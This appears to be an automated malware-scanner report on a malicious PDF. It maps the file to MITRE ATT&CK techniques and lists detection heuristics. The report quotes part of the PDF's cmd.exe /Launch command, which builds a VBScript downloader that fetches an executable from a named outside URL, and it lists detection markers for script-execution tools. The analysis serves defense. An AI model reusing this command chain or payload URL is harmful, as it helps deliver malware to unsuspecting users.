MITRE ATT&CK

T1204.002 Malicious File T1059.003 Windows Command Shell

The PDF file contains a launch action that executes cmd.exe. This command is used to create a VBScript file which downloads a second-stage payload from http://styggba.com/exe.exe. The embedded script payload and the command execution instruction strongly indicate a downloader functionality.

Heuristics 5

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo strFileURL = "http://styggba.com/exe.exe" > vbs1.vbs && echo strHDLocation = "exe.exe" >> vbs1.vbs && echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"'.
Visible LOLBin command execution instruction high SE_LOLBIN_RUN_COMMAND

Document contains instructions or visible command text involving Windows script/execution tools such as PowerShell, mshta, cmd, rundll32, or regsvr32
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://styggba.com/exe.exe
